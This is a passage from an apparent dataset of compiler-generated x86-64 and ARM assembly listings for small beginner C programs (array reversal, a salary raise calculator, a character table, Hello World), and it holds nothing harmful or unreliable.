mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
add DWORD PTR -76[rbp], 1
.L5:
mov eax, DWORD PTR -88[rbp]
cmp DWORD PTR -76[rbp], eax
jl .L6
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov DWORD PTR -80[rbp], 0
jmp .L7
.L8:
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -80[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov esi, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -80[rbp], 1
.L7:
mov eax, DWORD PTR -88[rbp]
cmp DWORD PTR -80[rbp], eax
jl .L8
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -88[rbp]
sub eax, 1
mov DWORD PTR -84[rbp], eax
jmp .L9
.L10:
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -84[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov esi, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -84[rbp], 1
.L9:
cmp DWORD PTR -84[rbp], 0
jns .L10
mov eax, 0
mov rsp, rbx
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L12
call __stack_chk_fail@PLT
.L12:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "732868.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "enter size of array\000"
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.ascii "enter %d element\012\000"
.align 2
.LC3:
.ascii "in original order:- \000"
.align 2
.LC4:
.ascii "%d \000"
.align 2
.LC5:
.ascii "\012in reverse :- \000"
.align 2
.LC6:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #36
ldr r3, .L10
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r0, .L10+4
bl puts
sub r3, fp, #40
mov r1, r3
ldr r0, .L10+8
bl __isoc99_scanf
ldr ip, [fp, #-40]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-28]
b .L2
.L3:
ldr r1, [fp, #-28]
ldr r0, .L10+12
bl printf
ldr r3, [fp, #-28]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
mov r1, r3
ldr r0, .L10+8
bl __isoc99_scanf
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L2:
ldr r3, [fp, #-40]
ldr r2, [fp, #-28]
cmp r2, r3
blt .L3
ldr r0, .L10+16
bl printf
mov r3, #0
str r3, [fp, #-32]
b .L4
.L5:
ldr r3, [fp, #-20]
ldr r2, [fp, #-32]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L10+20
bl printf
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L4:
ldr r3, [fp, #-40]
ldr r2, [fp, #-32]
cmp r2, r3
blt .L5
ldr r0, .L10+24
bl printf
ldr r3, [fp, #-40]
sub r3, r3, #1
str r3, [fp, #-36]
b .L6
.L7:
ldr r3, [fp, #-20]
ldr r2, [fp, #-36]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L10+20
bl printf
ldr r3, [fp, #-36]
sub r3, r3, #1
str r3, [fp, #-36]
.L6:
ldr r3, [fp, #-36]
cmp r3, #0
bge .L7
mov r3, #0
mov sp, r4
ldr r2, .L10
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L9
bl __stack_chk_fail
.L9:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L11:
.align 2
.L10:
.word .LC6
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word .LC5
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "437990.c"
.intel_syntax noprefix
.text
.type __bswap_16, @function
__bswap_16:
.LFB0:
.cfi_startproc
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, edi
mov WORD PTR -4[rbp], ax
movzx eax, WORD PTR -4[rbp]
rol ax, 8
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size __bswap_16, .-__bswap_16
.section .rodata
.LC0:
.string "%d\n"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov DWORD PTR -36[rbp], edi
mov QWORD PTR -48[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -48[rbp]
add rax, 8
mov rax, QWORD PTR [rax]
mov esi, 2
mov rdi, rax
mov eax, 0
call open@PLT
mov DWORD PTR -12[rbp], eax
mov DWORD PTR -16[rbp], -1
jmp .L4
.L5:
movzx eax, WORD PTR -18[rbp]
movzx eax, ax
mov edi, eax
call __bswap_16
mov WORD PTR -18[rbp], ax
movzx ecx, WORD PTR -18[rbp]
movzx eax, cx
imul eax, eax, 43691
shr eax, 16
shr ax
mov edx, eax
add edx, edx
add edx, eax
mov eax, ecx
sub eax, edx
test ax, ax
jne .L4
movzx eax, WORD PTR -18[rbp]
movzx eax, ax
cmp DWORD PTR -16[rbp], eax
jge .L4
movzx eax, WORD PTR -18[rbp]
movzx eax, ax
mov DWORD PTR -16[rbp], eax
.L4:
lea rcx, -18[rbp]
mov eax, DWORD PTR -12[rbp]
mov edx, 2
mov rsi, rcx
mov edi, eax
call read@PLT
test rax, rax
jg .L5
cmp DWORD PTR -16[rbp], -1
je .L6
mov eax, DWORD PTR -16[rbp]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
.L6:
mov eax, DWORD PTR -12[rbp]
mov edi, eax
call close@PLT
mov eax, 0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L8
call __stack_chk_fail@PLT
.L8:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "437990.c"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type __bswap_16, %function
__bswap_16:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
mov r3, r0
strh r3, [fp, #-6] @ movhi
ldrh r3, [fp, #-6] @ movhi
lsl r2, r3, #8
ldrh r3, [fp, #-6]
lsr r3, r3, #8
orr r3, r2, r3
lsl r3, r3, #16
lsr r3, r3, #16
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size __bswap_16, .-__bswap_16
.section .rodata
.align 2
.LC0:
.ascii "%d\012\000"
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
str r1, [fp, #-28]
ldr r3, .L9
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #-28]
add r3, r3, #4
ldr r3, [r3]
mov r1, #2
mov r0, r3
bl open
str r0, [fp, #-12]
mvn r3, #0
str r3, [fp, #-16]
b .L4
.L5:
ldrh r3, [fp, #-18]
mov r0, r3
bl __bswap_16
mov r3, r0
strh r3, [fp, #-18] @ movhi
ldrh r2, [fp, #-18]
ldr r3, .L9+4
umull r1, r3, r2, r3
lsr r1, r3, #1
mov r3, r1
lsl r3, r3, #1
add r3, r3, r1
sub r3, r2, r3
lsl r3, r3, #16
lsr r3, r3, #16
cmp r3, #0
bne .L4
ldrh r3, [fp, #-18]
mov r2, r3
ldr r3, [fp, #-16]
cmp r3, r2
bge .L4
ldrh r3, [fp, #-18]
str r3, [fp, #-16]
.L4:
sub r3, fp, #18
mov r2, #2
mov r1, r3
ldr r0, [fp, #-12]
bl read
mov r3, r0
cmp r3, #0
bgt .L5
ldr r3, [fp, #-16]
cmn r3, #1
beq .L6
ldr r1, [fp, #-16]
ldr r0, .L9+8
bl printf
.L6:
ldr r0, [fp, #-12]
bl close
mov r3, #0
ldr r2, .L9
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L8
bl __stack_chk_fail
.L8:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L10:
.align 2
.L9:
.word .LC1
.word -1431655765
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "441116.c"
.intel_syntax noprefix
.text
.section .rodata
.LC5:
.string "%f"
.LC8:
.string "Novo salario: %.2f\n"
.LC9:
.string "Reajuste ganho: %.2f\n"
.LC11:
.string "Em percentual: %.2f%%\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR .LC1[rip]
movss DWORD PTR -28[rbp], xmm0
movss xmm0, DWORD PTR .LC2[rip]
movss DWORD PTR -24[rbp], xmm0
movss xmm0, DWORD PTR .LC3[rip]
movss DWORD PTR -20[rbp], xmm0
movss xmm0, DWORD PTR .LC4[rip]
movss DWORD PTR -16[rbp], xmm0
lea rax, -44[rbp]
mov rsi, rax
lea rdi, .LC5[rip]
mov eax, 0
call __isoc99_scanf@PLT
movss xmm0, DWORD PTR -44[rbp]
cvtss2sd xmm0, xmm0
movsd xmm1, QWORD PTR .LC6[rip]
subsd xmm0, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
divsd xmm0, xmm1
cvttsd2si edx, xmm0
movsx rax, edx
imul rax, rax, 1717986919
shr rax, 32
sar eax
mov ecx, edx
sar ecx, 31
sub eax, ecx
mov ecx, eax
sal ecx, 2
add ecx, eax
mov eax, edx
sub eax, ecx
cdqe
movss xmm0, DWORD PTR -32[rbp+rax*4]
movss DWORD PTR -40[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss xmm1, DWORD PTR -40[rbp]
mulss xmm0, xmm1
movss DWORD PTR -36[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
addss xmm0, DWORD PTR -36[rbp]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
lea rdi, .LC8[rip]
mov eax, 1
call printf@PLT
pxor xmm3, xmm3
cvtss2sd xmm3, DWORD PTR -36[rbp]
movq rax, xmm3
movq xmm0, rax
lea rdi, .LC9[rip]
mov eax, 1
call printf@PLT
movss xmm1, DWORD PTR -40[rbp]
movss xmm0, DWORD PTR .LC10[rip]
mulss xmm0, xmm1
pxor xmm4, xmm4
cvtss2sd xmm4, xmm0
movq rax, xmm4
movq xmm0, rax
lea rdi, .LC11[rip]
mov eax, 1
call printf@PLT
mov eax, 0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 4
.LC0:
.long 1041865114
.align 4
.LC1:
.long 1039516303
.align 4
.LC2:
.long 1036831949
.align 4
.LC3:
.long 1032805417
.align 4
.LC4:
.long 1025758986
.align 8
.LC6:
.long -1717986918
.long 1069128089
.align 8
.LC7:
.long 0
.long 1081671680
.align 4
.LC10:
.long 1120403456
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "441116.c"
.text
.section .rodata
.align 2
.LC1:
.ascii "%f\000"
.global __aeabi_f2d
.global __aeabi_dsub
.global __aeabi_ddiv
.global __aeabi_d2iz
.global __aeabi_fmul
.global __aeabi_fadd
.align 2
.LC2:
.ascii "Novo salario: %.2f\012\000"
.align 2
.LC3:
.ascii "Reajuste ganho: %.2f\012\000"
.align 2
.LC4:
.ascii "Em percentual: %.2f%%\012\000"
.align 2
.LC0:
.word 1041865114
.word 1039516303
.word 1036831949
.word 1032805417
.word 1025758986
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L4+4
sub ip, fp, #28
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldr r3, [lr]
str r3, [ip]
sub r3, fp, #40
mov r1, r3
ldr r0, .L4+8
bl __isoc99_scanf
ldr r3, [fp, #-40] @ float
mov r0, r3
bl __aeabi_f2d
ldr r2, .L4+12
ldr r3, .L4+16
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L4+20
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r1, r0
ldr r3, .L4+24
smull r2, r3, r1, r3
asr r2, r3, #1
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
sub r2, r1, r3
lsl r3, r2, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-24] @ float
str r3, [fp, #-36] @ float
ldr r3, [fp, #-40] @ float
mov r1, r3
ldr r0, [fp, #-36] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [fp, #-32] @ float
ldr r3, [fp, #-40] @ float
ldr r1, [fp, #-32] @ float
mov r0, r3
bl __aeabi_fadd
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L4+28
bl printf
ldr r0, [fp, #-32] @ float
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L4+32
bl printf
ldr r1, .L4+36
ldr r0, [fp, #-36] @ float
bl __aeabi_fmul
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L4+40
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC5
.word .LC0
.word .LC1
.word -1717986918
.word 1069128089
.word 1081671680
.word 1717986919
.word .LC2
.word .LC3
.word 1120403456
.word .LC4
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "46983.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
movabs rax, 4995653592676723022
movabs rdx, 734986350765364312
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov BYTE PTR -16[rbp], 0
mov DWORD PTR -36[rbp], 0
jmp .L2
.L5:
call __ctype_b_loc@PLT
mov rdx, QWORD PTR [rax]
movsx rax, BYTE PTR -37[rbp]
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
and eax, 256
test eax, eax
je .L3
mov edi, 95
call putchar@PLT
jmp .L4
.L3:
movsx eax, BYTE PTR -37[rbp]
mov edi, eax
call putchar@PLT
.L4:
add DWORD PTR -36[rbp], 1
.L2:
mov eax, DWORD PTR -36[rbp]
cdqe
movzx eax, BYTE PTR -32[rbp+rax]
mov BYTE PTR -37[rbp], al
cmp BYTE PTR -37[rbp], 0
jne .L5
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L7
call __stack_chk_fail@PLT
.L7:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "46983.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Nifty TEXT! 123\012\000"
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
ldr r3, .L8
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L8+4
sub ip, fp, #28
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldr r3, [lr]
strb r3, [ip]
mov r3, #0
str r3, [fp, #-32]
b .L2
.L5:
bl __ctype_b_loc
mov r3, r0
ldr r2, [r3]
ldrb r3, [fp, #-33] @ zero_extendqisi2
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
and r3, r3, #256
cmp r3, #0
beq .L3
mov r0, #95
bl putchar
b .L4
.L3:
ldrb r3, [fp, #-33] @ zero_extendqisi2
mov r0, r3
bl putchar
.L4:
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L2:
sub r2, fp, #28
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r3, [r3]
strb r3, [fp, #-33]
ldrb r3, [fp, #-33] @ zero_extendqisi2
cmp r3, #0
bne .L5
mov r3, #0
ldr r2, .L8
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L7
bl __stack_chk_fail
.L7:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L9:
.align 2
.L8:
.word .LC1
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "477482.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "\n%d %d\t%c .x%d"
.LC1:
.string "\n%d %d\t%c "
.LC2:
.string "\n%d %d\t%c Xx%d"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -8[rbp], 0
jmp .L2
.L3:
mov eax, 21
sub eax, DWORD PTR -8[rbp]
mov esi, eax
mov eax, DWORD PTR -8[rbp]
lea ecx, 33[rax]
mov eax, DWORD PTR -8[rbp]
lea edx, 33[rax]
mov eax, DWORD PTR -8[rbp]
mov r8d, esi
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -8[rbp], 1
.L2:
cmp DWORD PTR -8[rbp], 14
jle .L3
mov DWORD PTR -8[rbp], 0
jmp .L4
.L9:
mov eax, DWORD PTR -8[rbp]
lea ecx, 48[rax]
mov eax, DWORD PTR -8[rbp]
lea edx, 48[rax]
mov eax, DWORD PTR -8[rbp]
add eax, 15
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov DWORD PTR -4[rbp], 0
jmp .L5
.L8:
mov eax, DWORD PTR -4[rbp]
mov edx, DWORD PTR -8[rbp]
mov ecx, eax
sar edx, cl
mov eax, edx
and eax, 1
test eax, eax
je .L6
mov eax, 88
jmp .L7
.L6:
mov eax, 46
.L7:
mov edi, eax
call putchar@PLT
add DWORD PTR -4[rbp], 1
.L5:
cmp DWORD PTR -4[rbp], 5
jle .L8
add DWORD PTR -8[rbp], 1
.L4:
cmp DWORD PTR -8[rbp], 63
jle .L9
mov DWORD PTR -8[rbp], 0
jmp .L10
.L11:
mov eax, DWORD PTR -8[rbp]
lea esi, 7[rax]
mov eax, DWORD PTR -8[rbp]
lea ecx, 112[rax]
mov eax, DWORD PTR -8[rbp]
lea edx, 112[rax]
mov eax, DWORD PTR -8[rbp]
add eax, 79
mov r8d, esi
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -8[rbp], 1
.L10:
cmp DWORD PTR -8[rbp], 14
jle .L11
call getchar@PLT
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "477482.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "\012%d %d\011%c .x%d\000"
.align 2
.LC1:
.ascii "\012%d %d\011%c \000"
.align 2
.LC2:
.ascii "\012%d %d\011%c Xx%d\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
mov r3, #0
str r3, [fp, #-12]
b .L2
.L3:
ldr r3, [fp, #-12]
add r2, r3, #33
ldr r3, [fp, #-12]
add r1, r3, #33
ldr r3, [fp, #-12]
rsb r3, r3, #21
str r3, [sp]
mov r3, r1
ldr r1, [fp, #-12]
ldr r0, .L13
bl printf
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L2:
ldr r3, [fp, #-12]
cmp r3, #14
ble .L3
mov r3, #0
str r3, [fp, #-12]
b .L4
.L9:
ldr r3, [fp, #-12]
add r1, r3, #15
ldr r3, [fp, #-12]
add r2, r3, #48
ldr r3, [fp, #-12]
add r3, r3, #48
ldr r0, .L13+4
bl printf
mov r3, #0
str r3, [fp, #-8]
b .L5
.L8:
ldr r2, [fp, #-12]
ldr r3, [fp, #-8]
asr r3, r2, r3
and r3, r3, #1
cmp r3, #0
beq .L6
mov r3, #88
b .L7
.L6:
mov r3, #46
.L7:
mov r0, r3
bl putchar
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L5:
ldr r3, [fp, #-8]
cmp r3, #5
ble .L8
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L4:
ldr r3, [fp, #-12]
cmp r3, #63
ble .L9
mov r3, #0
str r3, [fp, #-12]
b .L10
.L11:
ldr r3, [fp, #-12]
add r1, r3, #79
ldr r3, [fp, #-12]
add r2, r3, #112
ldr r3, [fp, #-12]
add r0, r3, #112
ldr r3, [fp, #-12]
add r3, r3, #7
str r3, [sp]
mov r3, r0
ldr r0, .L13+8
bl printf
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L10:
ldr r3, [fp, #-12]
cmp r3, #14
ble .L11
bl getchar
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L14:
.align 2
.L13:
.word .LC0
.word .LC1
.word .LC2
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "151811.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Hello World!"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
lea rdi, .LC0[rip]
call puts@PLT
mov edi, 0
call exit@PLT
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "151811.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Hello World!\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r0, .L2
bl puts
mov r0, #0
bl exit
.L3:
.align 2
.L2:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "403157.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "Error : malloc() for array init."
.text
.globl randomArrayPrivate
.type randomArrayPrivate, @function
randomArrayPrivate:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 40
.cfi_offset 3, -24
mov DWORD PTR -36[rbp], edi
mov eax, DWORD PTR -36[rbp]
sal eax, 2
cdqe
mov rdi, rax
call malloc@PLT
mov QWORD PTR -24[rbp], rax
cmp QWORD PTR -24[rbp], 0
jne .L2
